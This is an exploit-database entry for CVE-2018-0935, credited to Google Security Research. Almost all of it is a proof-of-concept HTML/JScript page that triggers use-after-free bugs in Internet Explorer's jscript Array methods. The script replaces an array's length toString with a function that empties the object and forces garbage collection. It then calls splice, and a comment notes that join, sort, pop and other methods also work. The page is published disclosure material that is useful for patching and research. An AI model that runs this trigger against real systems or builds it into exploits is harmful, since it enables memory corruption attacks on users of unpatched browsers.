Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var vars = {};

function f() {
alert('in f');
for(var i=0; i<40000; i++) {
    vars[i] = 1;
}
vars.length = 0;
CollectGarbage();
alert(this);
}

for(var i=0; i<20000; i++) {
vars[i] = [];
}
vars.length = [];
for(var i=20000; i<40000; i++) {
vars[i] = [];
}

vars.length.toString = f;

// all of these work, just uncomment the one you want to test
//Array.prototype.join.call(vars);
//Array.prototype.reverse.call(vars);
//Array.prototype.sort.call(vars);
//Array.prototype.pop.call(vars);
//Array.prototype.push.call(vars, 1);
//Array.prototype.shift.call(vars);
//Array.prototype.unshift.call(vars, 1);
//Array.prototype.slice.call(vars, 1);
Array.prototype.splice.call(vars, 1, 1);

alert('failed');

</script>

EKU-ID: 7506	CVE: 2018-0935	OSVDB-ID:
Author: Google Security Research	Published: 2018-04-08	Verified:
Download:

Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods

Rating